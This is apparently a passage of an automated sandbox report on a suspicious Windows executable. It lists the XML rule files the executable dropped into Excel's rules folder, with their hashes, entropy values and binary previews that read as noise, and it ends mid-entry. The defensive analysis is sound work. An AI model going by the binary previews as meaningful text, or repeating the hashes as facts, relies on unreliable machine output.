Preview:	<?xmlk..Ws.~..N.=:.o?......~K.V.G...P.&3o/..b4)..\.N.VX.:+.m...#.....8p.`%.^To_.....3j9..Y.-.........%].. .g...5..%....T..y..=.R..&Z..$K......&P;A.......D.y.-..S...[....Mw.7..s:..sJ.....#..R..O=..../...]...@$..D\|..w(......>.`_.8..8q.m..x...^P.tx7.T.....o-.o..?A.P..s..I.U...3.......VK.[.......B...B..Yj..D......1.......>{..p..SI.3...g.......T.)=n%.-E...Y-..eVG.F...N\.#..S.Cev..-.^n.r.L.F9.A.L.?..u.....RN.....X.M.I......=.s.X.../....YM.......v..]E.@X..hlj.!.?...S..Ze....Rm...Y........X.z...dZ...]w..o.}..J2......P.R.!.....o...d.....r'..$b.o(.B.....\...).O..'ME....<?d(6.[d...d4....C..z.@..,.k...X.}!. .nm....m.....:.[NVA...J.v}I.F....u.!/`".]u~H..xi.5.{r..d.\..9.<..d.6..)..a..o..`..03..._....U.8..a.(T%.ht...-t...h.2;..../Uy.cy...C......OWR.d...u.!..j..Z.F.u....qei...:..\k.............S.y.......o=E([.........wwb?1...l......"........i%....T<....WI.qR....F)..81D..@..!]...^.....7.;s..?..W.N)X...~8..B......E....;[....@.6..../.....4......M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68013v9.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2251
Entropy (8bit):	7.9076455251338595
Encrypted:	false
SSDEEP:	48:l3nJKt8G29Lv8N81fqpSccoHjGpa0NjUxX4ToayfgJ/IecMKvtic0crNXorv19QJ:l3JKt8LCI/Yca5xoWuwNrvtir0+eP9
MD5:	A911A909DA3E9A5C33D2BB43CF0F5EEF
SHA1:	75C774E59A4B17011C6230A407C3B26E2D1F4C87
SHA-256:	3D4ED04DF29A9AB11A0FDDBB9E1D3A6CC4238CA3DF41BD02AD1FA4605B4C051D
SHA-512:	7548AFBD1DC54C38FB1D947400AB08C5CEE1B0003159ECD071240CB081D19D7AD5F3901343BE349547AD3A0FD3461D12148BEBB4D89363F7C00FF7C6A37A8D28
Malicious:	false
Preview:	<?xml;....Y..}.%.....L..GF.h.I..-.{....~...ykn%..h..x....o[`f...z........Iij.......}.q..%....s.(...F.@7..a..`....9b]...0O&'Z.8..f..975P...a".}..#.q.g.N.......?R..fLI...Ws....\.-(..q..Z.Je.=..D.Nq.!.X.....@dk.$Md1.$h....S..p.lz.R#..m..H.q.YOb...@.%\....U..D9E ...m.pR@.........2..u..m........s=Y2..].}B..d...u.^Z4....@...Q...C....rwXZ..C..FTr...' o.ak....%.K4..!%...EM...o.}.y.F[.N..z...@`.u-......S...Sm...l...W..PQ.'.c0 l.5..).U...t..J..A..?.S.......2.I.0.55....m..`W5............./5...OO..y(CZ....Du..l./3....B.\|.P.%@..;.T..._.....Q.Q..m.E..+....jH...-.O7+{.......R...F...r..k..l.......Z5...=.X...5......m'.]..c..t..#...L..........s..[.8P..........p.'V.....](.......0...f....z....D.L.....J..i....m@.0sJ>.....%...T...}h...Za.@..7V6..!)...........?..v......&...."...E....../....yA=N.]....%..KuJF...D..]K...^.M.m......bg.b..U.z.3.....]..cK.~..e....Chui.7..!n...#.....k.?.4....9....e9}.I..e.a.(..9..I..D...??h....z].....s.....q.3p\|...C.9;..n..8L

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68014v8.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1826
Entropy (8bit):	7.891903722173137
Encrypted:	false
SSDEEP:	48:zqfuGtmYrkReCy5qBodQsRdBi33VNmCP/yNnFD:ynrJdQs7BinVHKn9
MD5:	A97EC53C5F8CB5B4A9CC0C9B2919999F
SHA1:	A0D924FA8B579527D632FCF8D42B0A132B5D89AD
SHA-256:	090FBDFD6CC9F42C63C93202A1EA31B616F350820FF2415F79C10C97D5EDE779
SHA-512:	12ACEBBF0929C00934E72E1DB77C903E7024B87B8378534E31B45B5852D2BCED4C25328344B53178E74354D3202717970446A773CA5E7C7DB97A20DA8C1F1767
Malicious:	false
Preview:	<?xmlt_.4pL...~W....om...}.:...{5>~GY#.cB)"6R.;-.....H@...N....kq.......5.Ev^3\|.X..,F...\#.....(3...j.....S.ASPo......<.=D.J.02t..:..0...U...y.-2L...N.....z..U.....e.".<T......y.L...=+-Y..Ml.1....O)M=....&.%Kx.....@.%\p...ts7.....5@..1.J..h..;j.1U.......Q..1_E....^.=.fX,..T.....6.;\.J#2........pp..Y.1...k....`C.P.4.)C.,.$.YDq<..J@...R...[.R........@&T...\|.xjw./f..rs.b..2.........i#....U..}D..8r.q........E..}y./}.L..Y.r<....o..@.....#x......d....f.R.p.....t#T<..9. E...>.@...Gs..Y......c......u.Nr#..FTI.Cm.j.....Y....u...g1.9...w.....v....-..~.9My..v.}G..H..!.q..{J.8.D.?4.2ua;.<ry.8..lg.a.....N.:.Yzk..&.j..Q..-'.>5S.7,..U.S..?.U.].l.{B-.X"..gjb.}Y.....olG#..P...(......<J+.Sp.E...............:.@r.0y.........O...n:C#"w.z..J.=#\|.Nn{..g...k........C8W..M.......Uh...J..%..T+.........7.>..iR.Lr....Q8....0B..4.p.?%.....(H..d......k..6.:).....>I.4yV.6..G..Kh^T...a.z/~.u.q..){?..$..ly~..V]...k.+....xc.!...j...~U....>z.%.;5;N.......r$.G..iI....j..).#.?I ..O$(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68015v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.8290596865360245
Encrypted:	false
SSDEEP:	24:V5AdQrNaEMJPXiHMywuynZd9+WUysYhmGLoOJ1X+fQwOVXXUVbD:DCP7ya4WUJYwGLoO3HwOKFD
MD5:	78B3B572596F0EB0E1093E4B08FB6782
SHA1:	BABC47EB5FA921233522385E2AFBDB5D35D8ED54
SHA-256:	94C588FA4E4ED5826F92FEC93124EDE4A4D50367E698F7E8453DAF6E0D3BFFC4
SHA-512:	F395B2B4D36056605431DF91242437AD3E585C17EACB7FD55A3378AD5D8C9C0FAEDD31FB404E7C6DC78AD46DA8FEA2887B3C7607F3764713B030954A3F2E742A
Malicious:	false
Preview:	<?xml..r........[..x"...6Oqmn5w$...q.b\|'.G..e.a2q&w....B4.X'..V,...l.......S..:I."...\t.@[_7...,/..O...:..!4...m.@U..".H?.$......}M...Y.iP....B1#w.Jb...Q.9.....V..vJ.0..oA...I1...^...m..H...Ke.:.H(.l.5D.$F....A.!..].v.~o.o...g..T..uj.Ad......xP.{a7..F.<..Z...rs..G,....?...e..u.....'.i..;R..K.....\|U.S.X...I/.;.#qG...2....2.kB....b....+.....Z.i...A.>.Y........2..p.......\0J....`...Y.!OA_..Y..W...x.....6M.^.....m..#...I:..(.r.[j...0%..8....[.;xT..I.Kw.P'........Oz-B.)...".}$.\|Zt..5=....... .]vr.`......./.;.a.{..0e\....G.YE..Y.N.r...<..V._.&...)8.f.. ]..!.w.R=.\|.s"JK.WA.\|...<....C.!]..\...A\|[..OL..Y.M...2...4...rrn"...$'.gdq.R.@....U.xw.Mm.v=zJ..U..Z=..2..h.]..8C.n....!l.jN......#,.}...E`h...}":..j.....n.9......g\|.0x........DV.K..qd.`.."I..=.$.sW.....QO....RU..}w .i........d.^.q..u1.W.....Y-c.~..:..b.1.5.n.~;.r...>.u._.i...o6......P@m79Q....sa\|...J...........M0@p!.6......4..lm.p.....X..#.W[..uv.Fh^{*...K.7~?X'.yM.Mu.q. .M{h1.uN_ ....Fau/

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68016v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.779035467187165
Encrypted:	false
SSDEEP:	24:OxgkGrn3jvdOQdg/ZKmQCCPPpoB+PzA/2aVLjFhVbD:pndOQdgQmi8+PzA/2aVLhhFD
MD5:	B2D15FD6242938AFBA5DAACBFDFD8551
SHA1:	EAD325639CB24D57DAC48E4D88BF1A7F26BFD297
SHA-256:	590C52A41CC01835F191949D7E5CABEE68349A4B0B4C5D4CF7DB505D1062F8D5
SHA-512:	5077A26FD10054FD86608A1744859E7B8E204BA4647C2DC93E6F00CCCA57661D73D8835178F1CE0BEA885EE37B4FE1A037F22437B6B8DDBC1163E11F43CEC620
Malicious:	false
Preview:	<?xml."..+...X>.y^8...q.c`.;..q.Ae..0N...,%a3u.....!..n.k%.Xv..:......WLd......l......u.i.iZ.... ..74..a....J.......&..8... +t.4...Q.\...gV.Ea...r#...T.%...M...\|.......I0.(..}..0~{{+Z.rw`..01g........s..1.....z....W.K.l-4...[I.56...Z....cw%.5...-x../....b...I...q.u..l.......Jl....nO.8...4..60.0...$LI.}...$..5.kv.(KO\%...Td..n...)..i...a ..~..Y3.:...0....}K.."i\|...d..{.....x1.H.Yw....jws.;.\|=.....u51)!t..?sH/.. g....Z...P."....FZ.W%..y..........j.)%...`-.z.B.r^...3_..m$P34.....i.y......Orq......P.N..!..a'.....Q.I.f...S.@w.+E..#.h.mD..x.)..1.R4p.....AGv..g...J."..VR.f..b]..B8#.Y.gS.7K...d.-.I..R<.7d...%..\|%....z`...x..]....t^..G..N.,...T.*...q...JU~..Q.f.>.3.....X....\|...._6..._...N.&}k.\|..K.d..`..)...(%....).9. ...C:.>.O`%s...d.../........L..:8Y36C..\|......C..[@.:l}c..._1Ej<...zF..8~...i.........PdAT.=...'.:..r."'j......d.......4.}.6..a..+.>h.T\k.u@>...R.I@."..g.,%)...w8.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68017v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	7.813108432844786
Encrypted:	false
SSDEEP:	24:KPBM30jqHLRYRFeDB+YhWGhvCgdzzyzItv6Ebj7P7RsNAAv9xTVbD:IKDNgjjG1CgxziVEbH4rFxTFD
MD5:	1757DF18B76F0A88226662ADE2E2994C
SHA1:	322E6156000FB4D2ABEF382C614DF894CFF946AF
SHA-256:	7DBFDDF71C6F51D450A6CB2836E96E1A34CF8C6FC1D840991EA0C84658B569FD
SHA-512:	1E00A50FB72055ED6BDE5FD816A9E1F07C767441CD8C92423EFF19CD9ED874F28B9D7FD470982DF69D499FE8B8C015D6E01DA5AADC168FE80F335D440C57A017
Malicious:	false
Preview:	<?xml..j...qrS.7...I$...E..<.W..........Bd...@]t.Lr..._z.'CI.::..F;....m5U....ToQ...q....T.(M~...oP..Xnjm..=V..]..Q...~..=.P8J3....j......Rv@Q..m8..f_.8.c..=.Z:.+.U.\|.....pp.....g...d.sy=.}.x.+..W.N..5....S.I#. b.u..G.]b.......{..Jk.:..o.)..gX3.+...N.\....H...M.7..B..._...h8......1G...f..X.....fL\..E.@...D.....l7.>t.%..Y...iXu%...Q....m..0..(\|.....j.l...zhY3.[{,.F.\.Z...d/c.Ma.E.^...hx.l};!G.cc..d..y..N........;..#....E..c.4..r.`..89....}.}..1..Dz...W,..L.w...J5[W...i-.>6.q..:.V.Id.%l...?kd'...W{ec.>.e.a.(....3r...3AF....fc......}!Q.$....0.....qV+7'...5.O+#...2...Fo...o......T.a.2.>...j.S(,.=..f.].Oq..Y....GSB..x<..B4.>.7.,.h...q'..w.*.F9.B....ot.y....................w.[.6zu}.v.w......#....T...I...kB..>...k...N.,..3M_.Cv[.p.E-@f.?t..Sj.,.c....\.Q.....8P...2d..Q.Li.A....h.h......T..4.L.N.e?}@{h......."^3..k4.r.........`...._F.}.M...W....}........2.....QI.m..a;.zl.Y..Y.s}R..N.}.'..V..-..U../.%5t.o.5.2...b..JM.........ZAU..x...1mS.,...av..2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68018v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.846241202710614
Encrypted:	false
SSDEEP:	24:KxnmsrwjEEMjR8754V7pSgP9inGQOvIs7wt1+3zq422imXwoZVbD:KxnmUwGjR80P9inGQOvIsu7422imX5FD
MD5:	B0B0CAE919C279B4C5708E8DF9BCFF36
SHA1:	DAB818A94EAE7B120E56BC5900C4C11D5D4108C3
SHA-256:	53B1AA691197E6AC2539E0BE06A3D62CE06E199EEEB19FBB6B06D31B9BC60757
SHA-512:	4B804E308BCB5AAD88A1D5C0511579020D4C0443A0927F9665E47BB9EF410CB0F0FA30505A30DEF894D109683F6B766F2E32066F65CA3546241C40ED20FDC24C
Malicious:	false
Preview:	<?xml.]...,bB........l..XH.%......g'...=v9..Q..Y...\|.[%.r.>.f...u......C`....i.e........W.qX.n...9\.?......5q...;.....dXf...cM ........P.k..X......Z4f.M.=i..A.\...\|.....E.l:o..S9..K...:.T.._.Gu....I.&.....Az..!N.V.ag..V....#..&.0.S.[...Z..D.9{.&.......h.\|.......dz.W.-3...x".$..b.k......\|..qe......N...LfcH.M(B.'T...<....../.6..../X.f..vc.h...B=...J......p0V..0fS....WS...udV...Z.d2...h......Z....)\.\...p.E.K.y.....9. 5.67...E...X......4.........c...h.R..j.p....Q..6...Y......'.j.Q..K.k%.5V8....n..A..W.l..e..DAs..V..F...!..(7.g7.26....3....ke..MnQ.V{X.-4L.\..t(.Z5....j..(..).md..7....Z..T......,V.;.K.yR'.uA....W..~.].U. .....c.X.........[IN...J..Z.G....{..`....{L.%>..q....s..w.'xw....L.g.;3_/.....C...m_Q.....c^O?....yn.J.P...!.m^...;.....\|..:g..f..(+.P..q..UU...X...%]C"<.....H:b..=n..70.ZU)W.a....q.E.2.B...hd..'...x\/......~?...o...Rt..N..z\|..<.W..=....C 6.....%.a.....N.l.3.....d]k0.M.I'4.=...z..Q..2T....Y.=a.....*BG..zZ.d.....`c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68019v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.874119703144481
Encrypted:	false
SSDEEP:	48:ptc5c1zG+kcyhdMjk6YVvcvK7W6h9yZD78V5MYZoFD:pe5c1zKcqOgoQWw6MkN9
MD5:	4D461DB2596C6304CC1BCD9B04C523D5
SHA1:	CC7D81EB9CA16C00B63E4657593C577CDC22C403
SHA-256:	A691E2F5EFBC9C0065B6843AE4B4939F0EF0F2462B3CAF46064DDCE4AC93E0CE
SHA-512:	560A7EE7660ADE0F921FB2D8F7F1102BABACD68980CD3A43F3E0379361CAC926791024485578F96FDF9106F861F58CDC014DADB6812785089E7D0D4F59BAF763
Malicious:	false
Preview:	<?xml.q.'...tV......\;..$E....n.d........Y._Z&1....^.D....HB\#...C!..}.!.....(......-..n...#..v.W.B(.E......;..1D[\j.M...M>h..?.V.....h#(.T6.e..`....%.B.K.8...........q<~...........>.:.Y..d.`ag..7~...Css....,q...{Z.j$..\W....+.....d^...,.....O...q......Wx.....D.....5.Rq.:..Ql.a..F.....;E..WH.!...../y..3.e.k..........d...>... ..Z.~.n..I..dmg......+.g57.U[.:..:.Q(k.;...t.$.Bzxm...._2 ......2......J...G.....v R.....(.[.....d..H..)y......B+t...D..0F.'.l.,....(..........Y:...DVl.....L.../$}~.o.&..X\mw....O./CFp.....9.).cLe.bg.u...4o/.0.&..ac.8G)mA..t9..Ui..b....."\......M.,;.(;&1.[..v.`.....SO.iI.~[.......'.um..u1.>.lz.#......`.4g..t......#}B....]k..H....(......X7...Z......y..#.UF..pS.j.N....y...;.8...7..$.8.....d..]...u.7.*5Vr...;..d.+."G.3.1.. ........gJ.U..N.R....:mpl.........F&.`.$.....;....,..C`..U.....C.rwd.fD..+...2..h.....6c.....b..[m/.A...A..6Vh....^.)...s..l.-.C...[N...q{..[a[.<..aFM.Ja....P.)1.T....D^...BM.t...YX..r...q.qA.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68020v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.847175627130302
Encrypted:	false
SSDEEP:	24:iToBbCRF7S1h7DsUa2AlR0sgBmttcpTpJw+IjtORLjNu4iUzxOyXXUVbD:iW+7qh7YUa2AawTcdp6+AORPo4F6FD
MD5:	8EFE8F9B9A38D73BAC05F5F3628BE113
SHA1:	E5D96A6556B5438D1B65F6A1220EB5584B5D7C15
SHA-256:	085BC7C72B632E9AC4B05C3BFF0A2829119FCB029FC8544EE646BF62871D4440
SHA-512:	89E0E8C19F91B1C6AF4BFBCBE8C9451437E63C46AF90C8A06AED04AB7E731C0AA84AE69B2480EAB62B269C8E25F8A74288887E86A0407EA00C12638C6135C9A3
Malicious:	false
Preview:	<?xml....G..h....XV.Ms.s...iY0....>....E..5.5..W..'di.>E6v...(..5.+^..........16M\|"..;..a...\|..FR8.4.....d.A....-..P..G.R#.".#.oJX.......b.....%5...l..............AOX.MLrL{..J.h.>.)..6.Q.....v.(....o......:.....NLU..k.....6....W.....1..e....V)....C...L...%.k`...d.fRhv[......{&..E.X9..O.5.Y.i. ..h....G......E...d..=.c.s.r(AP?G...\03u..\.]...;._.].......?.R........_.}..Q.>..`/.\..."..g..t..{..........g...'~..L.@.!c.)..}....@.`.L8.n..G.......{.rV.S...z..vI.+.&... .....5.Q2L..(^.R....:3e....d.@..xW...53...<A..j.E.mN...S....qL.z,E.......(..{.2,I.....!.E.....s/.\d....@p:...@.0..e..jQ.'.K.\|.r.?]...w..1.......;.Z?.J.ZR_...^...3..e.n,.........#.?.@.]3T..\|..BG..qr.....j5{S7..K,ja.fmwo.%2.@....l..'{.}Y.q...<@.$.. .z7...X.....E....!....3.S.i...&Wht.....W.fp....n=..+...n...".U.l....g.j......R........To.5...@Jd.t.6...K.k.`.I=RX..E$.<65...:....H7..6F(..d.0...0.S....8d>."y..V....mf.q a.R.`..L...DZ.p...I..../3 \\..... .....v.w.P.....x7.u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68022v8.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	7.89599476492999
Encrypted:	false
SSDEEP:	48:0glU1x9PAbdFPxeINPXAJu6DHMF4wGMPy/4Xm2NFD:/iBPAbdF3NvApDMFjGMPZ9
MD5:	F62EA19AFCDD2DAB70C753FD37B70806
SHA1:	51092F23210D5730B1BE7807C6B6F43EA56EEA4D
SHA-256:	20C05878531F48B0BECABC17709E13E37C33BC9D5A80BCA4445CFD47B01AE3D0
SHA-512:	B570BA12686EDC5BE040A5AA24C81CF6D49509AA2669F1994127389D1729B0F695FF9F97DA7E114459E3347FFFBFFA6621174420511EFCE368FDBF09B63A265C
Malicious:	false
Preview:	<?xml.W. .VB.C..Hq.0..zA...j.;..n#..s0n..).s...U0.B.....j...UWS. d.D...N.._..n...c.Sh...w....PH.......t.-AL.......Cw~M......].....b.M.z.Ij...~....l.r..C.....F..\|"..d...nO.G..m..#[..Y..p.wl.....u..$..@!...th..3.._pC..z..o.!.tq.....P.m....E.....Lo.c..+.y...mX.0...&..%......M..s(....[.......@.:~$....C`j7....U.laPP..:s0.........g......"2......%oz....k0..... .W.........1.N..Q......k..ZT.........o..s.KF...z....3u..>.......3(...r....9b.x.!5....#6.&...q...n....O.;.=.......l...{d."f.e. `....../...2...&..c:L.Z.t..KY..l......z..s{..Qc.9^.. C...2,....!..I..;.U.q...~i.....^W.x.3.i.....r.>.OC......>..}.Zd.#.9I..:YmT.o.. 1..+.+,.......Bv....+....<[...MhZf..\|i.:P.-.fLI6.S.h..o.]...E^.v6..S.\|..\..N.........Z..Z.7....w..O.>ktN8!......pr..."<...9.p...?`...8.xw."_.)....ID0..G=.?.bRqP.>iV..Z.P3vY.....f.V.j.wi..I..r3.qVl.`f....S..>n.^..a.T6..K......h.JG.V..c..f.@S..F.XA.,B].m.QeW.`..=...g])..y93..i...o.f..h..1.t8u..v...P._..1.f.I.rX8...0fBc.........u8.jK..%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68023v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1509
Entropy (8bit):	7.870154980854115
Encrypted:	false
SSDEEP:	24:dmnkghTQp8c4vGpG56xusAawaFFyQ6Un6Oj9pKIY8a7ofvVnRtm2J/tkzxB3UyKi:d8Ts83Z56VZr9n6Oj9p74qr/yxBkyuS9
MD5:	F82F1369EBC7487EA30595459377D06E
SHA1:	66BE3638F78D20CCBC98682EB87A8483F2FB6D82
SHA-256:	3AA4F33EF7C69538D65957B88FE7ADF1BF5659547BC3D711A09D265CCEFC2458
SHA-512:	874F258A059950167B16AD89817650C1F7C04B7B2E539FA05E20F6B34997C9572505A067E994DE797969236630405FAE8459561FC2F91C9D4DF8415B252790E5
Malicious:	false
Preview:	<?xml.e.;.0R.?..<......0.:2...W..}......HN.8...hq..=l....@.KD...?..4>.(....R..j.....W...q....j..~~.J....js.....2 .....7...yAE..-._.V.D..V.....F.D.....4D}L=..N}.'..F.^L.F.V..>...X.W..)x.M.._Y}......0Po\S...V:RH%.f.....g....H.f..7.X$7.`....k.j(..kM..5...Tq3......H..Tg..^._a9..Q..tR,N^.b@..o....Z..s.............p.B.Y.(.p.s.Wo..f...f.....T.oGL...!}.> .....N.....esQ..-2.....h.....@...F....F.... ].......x.t6....M...h...y..."... ..V....$.aw..$.......u..m...9..~h.W..T)..4x.}`sp.).Z:......x.....Q.5..\|..N..LN.<..DI..<lU...........3w.X...a`.1Z......7<....-..m.,.x...O.?.Y.+..^...p....qR.~..05S..ZH...4#.}.b.....i..........<..].2..5.......H.j...N..u..G.wc..}4...9..@:..._\.^78..\...x-.....wh.....G.n.=.N..........S'...9jf.B..n...L!.3X...e..%>;.3.d.2..}..g@.R:..&...Lr..2..Z..)..k...{.T...uE...GMi4...q^..[.R..z.Y......I.?..x.!.~{N....fh.........q2..U..c.$Dx*..^cAZ...MP....o.Y@..3...i.h...F .K..r.......&..^%9F.d..8....C...N.H..&aQ).!U4AV..a..D..T 3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68024v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2007
Entropy (8bit):	7.9145265344654225
Encrypted:	false
SSDEEP:	48:Irb2fRtn9EWQJK1OB22QBol+KoeVfVuAd3sDstCGKFD:IrbY9nQ448jG+gQ8xtCj9
MD5:	9BE1B680349787908DA8E94A1A19D886
SHA1:	759F94D81965D9C11AEBAB760571C2054F096956
SHA-256:	485397B9365470979BE47DAAB3DF8CDDEBAE04EBFEB7B180AE51F15D7E76B93A
SHA-512:	FAABB23FAF73A7401F3A8935A576679A24D04298FF35C5336287E44E6366D4AC787752D30A1E9981E9CFF0DC96E54AF1356CB3C11E2FD6510C89BAABCCB47F1E
Malicious:	false
Preview:	<?xmlg...^[K...\....U.......\.FB...DuH...~..$/.,!....o..U....+.{.m.......(Yb..`j.G;...u.........1..B...d..$.K..D..i.1.6^.C0...e.U(.%.3xO..KZ.K.%.uagC...w..60.-.u.L:...Q...<..T.Ys}.E.0....@..x..b._....r..P.....b.@h.I.!nM..=...."..3.$...r50.....C)........5..\|.....X.,.a...B..DA..Z5~.v....-k..#{.}Q....b.ZS.N....V..}..?m.....R.v..SW..P.d...xG....$..g.5..g.0.C..K!..s.X.7....s..2.8..@......(.""bl}$.Z..)....7.<. W~........2.7..s.~IQ.Lq......:;.B..0...f.2.T........}.e..\~.........j.D.... ..j.!....0..........f....x....}.we..r......v..T.3..rJ.....0.;.`I...`......b......8.r.....e\.....G...:..-3.@{5...kQ.<.....26....Hc4.B%..b.7s...s.-EJ."9#.}Y..........d... ....[gWm..c6.\|..tx....o.........\.b.=..y..;'Zg.\h....,5. $.$}fM#...9.7..s...JQcq.\.m.2.+.e<.l.nM.dba..o@m\|....V._...I.g.x....V..U?.KW):e.d..."\.T...M...:...N"o..5...m.....n..C.f.JH_.z.^...Z.4.C..{...8/....a...1/zX..#~.Y.y.6....U.Jw...6............@K9...g....M&..[G.be....a.;..W@..}.T.y..zP..c.pp.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68025v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1276
Entropy (8bit):	7.847408515029017
Encrypted:	false
SSDEEP:	24:wTBKnUuz/uoSWOQZ8wC61lrcUkLH4tsCQvZBGhgzTlgFfRv7dI0jfVbD:m4UJAmw1VcTH41QvjzTlglRvhI0bFD
MD5:	D5C686F4740CA954FA74511EB89591AC
SHA1:	E186440588C90E175B34D2FE27B64AA62587C6E4
SHA-256:	EF7A94DD2CE8993B6DB33E77EF5DA5F3EC5D90F9FDF76F5C995160A5A2F15A7B
SHA-512:	85C621A2FE0D18F7D26BBBEB0AE1A66D7A00DECC7F731BD3B613D0F3B6D9D256A620AF5627E0CC0C7A4E2DAAD10887A1E2D5983D71D6FFC9973A889018E742A4
Malicious:	false
Preview:	<?xmlB.C.o..4KL.7.H.L..P..f..Z7E......\.^...@7P.+r....W..=i.8...e.4..O.dB/5]....YA.w..6.^:..W..$`.........&.[.7...L.B6\2..........0..O1....(.`j.A.......S...6..qk.^.:.C..=......4!E.gc,..r...fS7....@C.5.+.+....T.G.....l....\./}....4.W+...n.>.q-(]Y.t..;........[S....q..O\.mNh.7.6.<.......0%].RA...L...(J.Z.E...."..]O/._...F....>...h...p...F..~VUl...#.....^...\|..[.....)......@.et.K..Hd..>&8$..(D+.V...C..W.v..r.:~...4!;.Y....`.P....&g.!..A.x......hL;.^......p...C...`.z..."dHV.OK.Y3oI.N.]b.._3......$p..j.=(.q.6..H..!*.TxS..@.7..U..tY.$...9.o..Dm\..q$.k$.)=....j. .7..@QW.....!"..@>..9....\|.......N..-..D.x%......]..$.../S:1..}.N... s,h.q7p..Rr.{g....z..$....vQ./5..N4.H......jd..Vz.....hukETT%.c.%J..ga.......L.......`#V.l.gw..u......U...l.Da.....fN.^.p3....1).`...R.d.k...z8.A....[.{.w1...C?W.5!..........`.....6......$.....S....E.....V.8,..j..]"1@.....0)+uA..i...Z....[ON-yC.......a.L#8\...K....;i.6s..\|.@..>}...J8.....Q..I..#....m...J......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68026v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2037
Entropy (8bit):	7.9020794044203795
Encrypted:	false
SSDEEP:	48:nnICsIH0mYzdpuDceL09aoLZDX4nMiCPbxJej8booy0NFFD:ICVHjadpuAeL0EnMi8b+jWyQ9
MD5:	5CCA314DCA7B04D80D35F31F7A928BCC
SHA1:	D95A2C4FCA9765EA095BF0A2CDA4B407ACE9EDE4
SHA-256:	BAAD198A2762A266643790F6683A5B627A17D1B4BA5CAAE43BB9B7F6067D0E37
SHA-512:	219171E1C4A0ECFDAE9FB5524679497D879919D2BBEED7F3C0A25FB9B0EED29018D97737B83358A53B855F347BE5E9D27586C0F8D9ADEF10EEBB84F5926522C7
Malicious:	false
Preview:	<?xml..........h.0K....m.#.`..[.@..q..c\|..bz.6....z....z.....\|......]...DFe\|.d3..l.nD. Z8..C...6....f..\.;.8.{Pri..a.y#$..I,$.N<...j;.2.=.\.u....6K..p]N.....q(.Ot.5..;.....T.&j.....T...J.l./.P.......C..A......$......BGL..y......O-...L..........r.>\|.C...w.H....9.Q.UY.+=.j.6.c.....%..\...f@?61.#...<........Sc.v.g8..d..lM&w....mD;V;...PK%.j5R....B..t....fGd. ..."n.m"...qC.....\|...e..m.[..8V30..4....F.].K...N5;7M.ZT.Z...x..`...ezQ.p.Rwg.z..&}sV.6.m:..OS....9...p\..W...tl<......W..&[...U.3.I..O......:...?hB...$\|..~m./hgi..{...8..~..Y.j../..B......6..[Y.><.t....tN..w.....8..r.!.n.e.T.h...z\|........2.]6.y..k/U...A..9..vg(.R...N5.."Z.}yM.....Q.;.H\|bQ.I..G;0./.8[.lQT+....w.Y./.b>...s,..Rz..@W....O.....J..6b.....M........}.A.E-.U8..2..O..QP.2.......h..!MT..<I...+n...l.U....T4.$.6..q..).#m..<....$.=.3....?.wS......&L9A..H>.._...M..t. #..a\|;.{t.X....<b.R....O.l...U... Z.&..<.'2...W.7\...!..?<..L... dY.....m....!........z....CJ.....F~.2....L.yA..4. .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68027v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	7.823906598271771
Encrypted:	false
SSDEEP:	24:YOAEGY/QHLUIjT6lbfPhfOO4+S5NAWp10StDAMamxLKLdH0VbD:YOANY/wnjOdRfOOC5NIwAFbLdUFD
MD5:	2BDFE63C500D8F8458A85304A35D3A53
SHA1:	A658EAF5D5D44A0E3FD1983D9DB8B5AE2BAC74E0
SHA-256:	8F0BAE6D35D24DF6E08823243DEC6E7C0C1C03DA3B102E39A7C46D81E0EE0523
